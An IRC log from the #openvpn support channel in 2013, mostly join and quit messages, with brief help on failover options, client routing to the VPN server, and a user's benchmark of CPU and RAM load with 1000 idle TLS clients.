20:04 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
20:04 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
20:04 -!- Neal_ [neal@felix.ineal.me] has quit [Ping timeout: 245 seconds]
20:04 -!- APTX_ [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
20:04 -!- xBytez [~xbytez@unaffiliated/magix] has quit [Ping timeout: 245 seconds]
20:04 -!- EugeneKay [eugene@clockworkmod.org] has quit [Ping timeout: 245 seconds]
20:04 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 245 seconds]
20:04 -!- clever [~clever@47.54.82.69] has quit [Ping timeout: 245 seconds]
20:04 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Ping timeout: 245 seconds]
20:04 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 245 seconds]
20:04 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has quit [Ping timeout: 245 seconds]
20:04 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 245 seconds]
20:04 -!- Tera [~tera@ip133-114.seclan.com] has quit [Ping timeout: 245 seconds]
20:04 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 245 seconds]
20:04 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 245 seconds]
20:04 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds]
20:04 -!- ronnocol [~lance@mail.ronnoco.net] has quit [Ping timeout: 245 seconds]
20:04 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
20:04 -!- mjixx [~markus@80.67.14.31] has quit [Ping timeout: 245 seconds]
20:04 -!- feth [foobar@ile-flottante.tuttu.info] has quit [Ping timeout: 245 seconds]
20:04 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
20:04 < pekster> Speaking of timeouts and re-joins flooding resources :P
20:04 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
20:05 -!- Devastator [~devas@177.99.153.2] has quit [Changing host]
20:05 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:05 <@krzee> hahaha
20:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
20:05 -!- mode/#openvpn [+o plaisthos] by ChanServ
20:05 -!- Champi [Champi@rootshell.fr] has joined #openvpn
20:06 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
20:06 -!- clever [~clever@47.54.82.69] has joined #openvpn
20:07 < pekster> My belief is that mass re-connects like that would be the biggest killer of connections (say a lot of these are on all Comcast or something, and one of their core routers craps out. That'll pound the server if it's not correctly rate-limited)
20:07 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has joined #openvpn
20:07 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has quit [Changing host]
20:07 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
20:07 -!- mode/#openvpn [+o dazo_afk] by ChanServ
20:07 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
20:07 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
20:07 < pekster> Well, that or lots of data traffic that "wasn't supposed to happen at once" :)
20:07 -!- dazo_afk is now known as dazo
20:09 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
20:10 -!- emmanuelux [~emmanuelu@37.59.236.163] has joined #openvpn
20:11 < emmanuelux> hello
20:12 < emmanuelux> i read some times ago that openvpn client have an option to autochange of vpn server config file in case of disconnection
20:14 < pekster> emmanuelux: Maybe you want to read the documentation on --remote in the manpage (!man) and see the info about connection profiles. See also --remote-random
20:14 < emmanuelux> ok thx
20:18 < emmanuelux> pekster, is there no option that read confg files (.ovpn files) in a directory randomly or not in case of disconnection
20:21 < pekster> Nope
20:21 < pekster> Clever scripting could do that through
20:21 < pekster> though*
20:21 < emmanuelux> yes
20:21 < pekster> See --ping-exit for some inspiration
20:21 < emmanuelux> not a big pb
20:22 < emmanuelux> ok thx
20:23 < pekster> Note that connection profiles can set options that are specific to that profile only
20:26 -!- phunyguy_ [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
20:26 -!- phunyguy_ [~quassel@unaffiliated/phunyguy] has joined #openvpn
20:26 -!- phunyguy_ is now known as phunyguy
20:27 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Changing host]
20:27 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
20:30 -!- emmanuelux [~emmanuelu@37.59.236.163] has quit [Ping timeout: 256 seconds]
20:39 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
20:41 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
20:47 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
20:52 -!- trumee [~parul@185.11.39.145] has joined #openvpn
20:57 -!- Poster|x is now known as Poster
21:03 -!- master_of_master [~master_of@p4FF24DB8.dip0.t-ipconnect.de] has joined #openvpn
21:03 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
21:04 -!- master_o1_master [~master_of@p4FF24ACE.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
21:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
21:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
21:47 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
21:55 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
21:55 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
22:08 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
22:09 -!- Drone4four_ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
22:09 -!- Netsplit *.net <-> *.split quits: Thermi, Wintereise
22:23 -!- Netsplit *.net <-> *.split quits: Dropje_
22:27 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:40 -!- ChanServ [ChanServ@services.] has joined #openvpn
22:40 -!- Netsplit over, joins: Wintereise
22:40 -!- ServerMode/#openvpn [+o ChanServ] by barjavel.freenode.net
22:40 -!- ChanServ [ChanServ@services.] has left #openvpn []
22:45 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 252 seconds]
22:47 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
22:48 -!- brute11k1 [~brute@89.249.235.126] has quit [Ping timeout: 240 seconds]
23:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
23:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
23:11 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
23:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
23:44 -!- xbanux1 [~xbanux@triband-mum-59.182.191.0.mtnl.net.in] has joined #openvpn
23:57 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
--- Day changed Sun May 12 2013
00:08 -!- Aketzu_ is now known as Aketzu
00:24 -!- [clu5ter] [~staff@stealth.server.cybscripts.com] has quit [Quit: ||||||||||||||||||||||||||||||||||||||||||||||| 99%]
00:24 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
00:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:12 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:14 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
02:07 -!- brute11k [~brute@89.249.235.126] has quit [Read error: Operation timed out]
02:32 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
02:41 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
02:41 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 264 seconds]
02:42 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
03:01 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
03:02 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Read error: Operation timed out]
03:07 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
03:12 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
03:12 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
03:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:17 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:18 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
03:28 -!- tweeda [~tweeda@50-193-40-38-static.hfc.comcastbusiness.net] has joined #openvpn
03:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:03 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:04 < tweeda> Everything is working great.  I just need to add one more network to my  'push "route a.b.c.0 255.255.255.0"'  directives.  Problem is my VPN server sits on that network.  Is there a graceful way to handle the client-side routing configuration?
04:07 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has joined #openvpn
04:08 -!- JackSparr0w [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
04:10 -!- Masxmasx{AFK} is now known as Masxmasx
04:10 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
04:10 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
04:10 -!- JackSparr0w is now known as JackSparrow
04:16 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
04:22 -!- tweeda [~tweeda@50-193-40-38-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
04:22 -!- tweeda [~tweeda@50-193-40-38-static.hfc.comcastbusiness.net] has joined #openvpn
04:22 -!- tweeda [~tweeda@50-193-40-38-static.hfc.comcastbusiness.net] has quit [Client Quit]
04:30 -!- tweeda [~tweeda@50-193-40-38-static.hfc.comcastbusiness.net] has joined #openvpn
04:39 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
04:42 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 245 seconds]
04:44 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
04:50 -!- kubbing_ [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has joined #openvpn
04:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
05:02 < jzaw_> tweeda, if im guessing right ... you need to push a route for the ip of the vpn server outside your vpn
05:02 < jzaw_> push "route x.x.x.x 255.255.255.255 net_gateway"           # this is so the client always knows how to reach the server
05:03 -!- erry__ is now known as erry
05:04 -!- jzaw_ is now known as jzaw
05:11 < tweeda> jzaw,  yes, that's it.  Perfect.  Thank you very much.
05:13 < jzaw> np glad to help
05:22 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:38 -!- tweeda [~tweeda@50-193-40-38-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
05:42 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has joined #openvpn
05:49 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
05:50 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
05:50 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has quit [Ping timeout: 245 seconds]
05:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:51 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 264 seconds]
05:51 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
05:56 -!- Xigam is now known as xBytez
05:57 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Changing host]
05:57 -!- xBytez [~xbytez@unaffiliated/magix] has joined #openvpn
05:57 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
05:58 -!- brute11k1 [~brute@89.249.235.126] has quit [Ping timeout: 264 seconds]
06:01 -!- xBytez [~xbytez@unaffiliated/magix] has quit [Changing host]
06:01 -!- xBytez [~xbytez@unaffiliated/xbytez] has joined #openvpn
06:12 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 256 seconds]
06:16 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer]
06:25 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
06:28 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
06:29 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
06:34 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [K-Lined]
06:34 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [K-Lined]
06:36 -!- TypoNe [~itsme@195.197.184.87] has quit [Quit: I shouldn't really be here - dircproxy 1.1.0]
06:36 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
06:41 -!- Zenum [~znc@unaffiliated/zenum] has quit [Max SendQ exceeded]
06:41 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
06:44 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:44 -!- Devastator- [~devas@177.99.152.186] has joined #openvpn
06:45 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
06:45 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
06:45 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
06:45 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
06:45 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
06:52 -!- blorgh [~bagar@c-54d172d5.029-192-7570701.cust.bredbandsbolaget.se] has quit [Remote host closed the connection]
06:53 -!- xbanux1 [~xbanux@triband-mum-59.182.191.0.mtnl.net.in] has quit [Ping timeout: 256 seconds]
07:09 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:27 -!- Naypalm [~Naypam@badfurdayisacunt.eu] has left #openvpn ["WeeChat 0.4.0"]
07:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:53 -!- kubbing_ [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
08:13 -!- xbanux1 [~xbanux@triband-mum-59.182.186.11.mtnl.net.in] has joined #openvpn
08:16 -!- JSharpe [~JSharpe@ns225536.ovh.net] has joined #openvpn
08:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
08:17 -!- mode/#openvpn [+o plaisthos] by ChanServ
08:26 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
08:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:46 -!- kubbing_ [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has joined #openvpn
08:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
08:54 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:06 -!- Devastator- [~devas@177.99.152.186] has quit [Changing host]
09:06 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
09:06 -!- Devastator- is now known as Devastator
09:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
09:13 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 252 seconds]
09:14 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
09:16 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
09:16 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
09:16 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:17 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
09:18 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:22 -!- brute11k [~brute@89.249.230.32] has joined #openvpn
09:39 -!- Airwave_ is now known as Airwave
09:41 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
09:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:50 -!- Poster|w [poster@gateway/shell/bshellz.net/x-kthchfrascyfosfx] has joined #openvpn
09:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:54 -!- ade_b [~Ade@kickstartconsultancy.com] has joined #openvpn
09:54 -!- ade_b [~Ade@kickstartconsultancy.com] has quit [Changing host]
09:54 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:01 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:04 -!- kubbing [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has joined #openvpn
10:05 -!- kubbing_ [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
10:15 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
10:15 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
10:17 -!- ronnocol [~lance@mail.ronnoco.net] has joined #openvpn
10:18 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
10:18 -!- havoc_ [~havoc@neptune.chaillet.net] has joined #openvpn
10:18 -!- trumee_ [~parul@185.11.39.145] has joined #openvpn
10:18 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
10:18 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
10:19 -!- david___ [~david@192.40.56.116] has joined #openvpn
10:19 -!- Strider_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
10:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
10:24 -!- Netsplit *.net <-> *.split quits: Neal_, jzaw, havoc, NuclearMeltdown, APTX, +hjohnson, @krzee, david_, ronnocol_, trumee,  (+4 more, use /NETSPLIT to show all of them)
10:24 -!- Strider_ is now known as hjohnson
10:26 -!- Varazir_ [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
10:26 -!- Netsplit over, joins: Neal_
10:26 -!- visionnl_ [~anonymous@tuig.nikhef.nl] has joined #openvpn
10:26 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
10:26 -!- cherwin_ [~cherwin@robin.teqnix.nl] has joined #openvpn
10:26 -!- feth [foobar@ile-flottante.tuttu.info] has joined #openvpn
10:27 -!- Netsplit over, joins: kisom
10:28 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:28 -!- mode/#openvpn [+o krzee] by ChanServ
10:29 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Excess Flood]
10:29 -!- ronnocol [~lance@mail.ronnoco.net] has quit [Write error: Broken pipe]
10:29 -!- ronnocol [~lance@mail.ronnoco.net] has joined #openvpn
10:29 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Write error: Broken pipe]
10:29 -!- MorgyN [~mig@island.morgyn.org] has quit [Write error: Broken pipe]
10:29 -!- riddle [riddle@us.yunix.net] has quit [Write error: Broken pipe]
10:29 -!- Tera_ [~tera@ip133-114.seclan.com] has quit [Write error: Broken pipe]
10:29 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has quit [Write error: Broken pipe]
10:30 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
10:31 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Excess Flood]
10:31 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Write error: Connection reset by peer]
10:31 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Remote host closed the connection]
10:31 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has quit [Remote host closed the connection]
10:31 -!- cherwin [~cherwin@robin.teqnix.nl] has quit [Remote host closed the connection]
10:31 -!- visionnl [~anonymous@tuig.nikhef.nl] has quit [Remote host closed the connection]
10:31 -!- feth_ [foobar@ile-flottante.tuttu.info] has quit [Remote host closed the connection]
10:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
10:31 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
10:31 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
10:32 -!- mode/#openvpn [+o plai] by ChanServ
10:32 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
10:32 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
10:32 -!- riddle [~decadance@76.72.170.57] has joined #openvpn
10:32 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has joined #openvpn
10:32 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
10:34 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
10:34 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
10:35 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
10:41 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 246 seconds]
10:41 -!- xbanux1 [~xbanux@triband-mum-59.182.186.11.mtnl.net.in] has quit []
10:43 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
10:53 -!- havoc_ is now known as havoc
11:05 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 246 seconds]
11:05 -!- Varazir_ is now known as Varazir
11:11 -!- kubbing [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:11 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
11:11 -!- kubbing [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has joined #openvpn
11:32 -!- NuclearMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
11:44 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
11:48 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has quit [Remote host closed the connection]
11:49 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has joined #openvpn
12:08 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
12:08 -!- Guest72917 [~info@dev.gentooexperimental.org] has quit [Quit: leaving]
12:10 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
12:31 -!- SpaceBass [~SP@173-167-53-210-cpennsylvania.hfc.comcastbusiness.net] has joined #openvpn
12:31 < SpaceBass> hey gang
12:32 < SpaceBass> the OVPN vmware appliance has a great web UI - is that UI available for standalone installs?
12:32 < EugeneKay> We're not going to the soda fountain with you.
12:32 < pekster> !as
12:32 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
12:32 < EugeneKay> The VM image is AS; not the GPL stuff.
12:32 < pekster> This channel is for help with the GPL OpenVPN project
12:32 < SpaceBass> ah thanks pekster and EugeneKay
12:32 < SpaceBass> didn't realize it wasn't GLP
12:36 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
12:37 -!- [fred] [fred@konfuzi.us] has joined #openvpn
13:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:22 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
13:23 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
13:24 < pekster> A topic yesterday got me curious, so I just fired up 1000 clients to a TLS-server instance using 2048 bit keys, and idle all 1000 of them eat an aveage of about 7% server CPU time (2.5 GHz 64-bit AMD.) RAM usage is the bigger issue, sitting around 675 MB
13:28 < pekster> I could probably reduce CPU usage further; I'm using 10-second keepalive packets in both directions, which comes out to ~200 pps of TLS-secured transit that has to be decrypted
13:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
13:34 < EugeneKay> Now what happens when a dozen of them start sending traffic
13:34 < pekster> No worse than if a dozen clients where only a dozen are connected overall would be
13:35 < pekster> The idle CPU usage is simply the TLS en/decryption of the keepalives, plus processing
13:35 < pekster> data transit is symmetric, so the !gigabit writeup applies equally here (and since I'm not using AES-NI supported hardware, that'll be the bottleneck)
13:36 < pekster> That article pretty clearly showed it's the crypto that's the bottleneck, not context switching
13:36 < pekster> Until you get into the >1GbE range, AES-NI remains the best way to realize an increase in performance
13:36 < EugeneKay> Hmm.
13:37 < EugeneKay> I remember some tests that showed performance went down as you began to actually use the thing
13:37 < pekster> I'll try and test it sometime when I'm not on wifi to the server :P
13:37 < EugeneKay> I'd be interested in seeing aggregate throughput vs connected clients graphed
13:37 < EugeneKay> In the gigabit range
13:38 < EugeneKay> eg, 1000 users each doing 1mbps
13:38 < pekster> Well, gigabit would require AES-NI on the server end, and client end if they're all coming from the same place
13:38 < EugeneKay> Multiple client machines, like you'd get in the real-world
13:38 < pekster> The only bit of code slowdown would be client lookups to associate inbound encrypted connections with client contexts
13:38 < EugeneKay> And aes-ni is in all new chips worth a shit, so.
13:39 < pekster> I'm not sure how significant that is overall, but it'll count some
13:39 < pekster> The topic yesterday was "lots of clients connected, but the vast majority idle most of the time"
13:39 < EugeneKay> Yeah
13:40 < EugeneKay> We need SCIENCE up in this bitch
13:40 < pekster> Seems that's fine, as long as RAM isn't a problem and they don't all try to connect at once (I could get 100% usage on the core with between 6-9 connections per second)
13:40 < EugeneKay> Handshake storm?
13:40 < pekster> Right, since TLS-negotiations are one of the most expensive things openvpn does
13:41 < pekster> Even the data is mild by comparison since that's encryptd with the negotiated symmetric cipher
13:41 < pekster> PKI is computationally expensive by design
13:41 < pekster> Hard to solve with the keys, and darn near impossible without them
13:59 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
14:07 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:11 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
14:17 -!- CEnnis91_ is now known as CEnnis91
14:36 -!- JSharpe_ [~JSharpe@64.237.37.117] has joined #openvpn
14:38 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:40 -!- kubbing [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has quit [Read error: Operation timed out]
14:40 -!- JSharpe [~JSharpe@ns225536.ovh.net] has quit [Ping timeout: 256 seconds]
14:41 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
14:51 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
14:53 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 256 seconds]
14:54 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:55 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
14:58 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
14:59 -!- JSharpe__ [~JSharpe@ns264658.ovh.net] has joined #openvpn
15:02 -!- Zenum is now known as |
15:02 -!- | is now known as Zenum
15:03 -!- JSharpe_ [~JSharpe@64.237.37.117] has quit [Ping timeout: 248 seconds]
15:05 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Read error: Connection reset by peer]
15:06 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
15:07 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:08 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has joined #openvpn
15:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:10 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
15:11 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has quit [Read error: Connection reset by peer]
15:12 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 245 seconds]
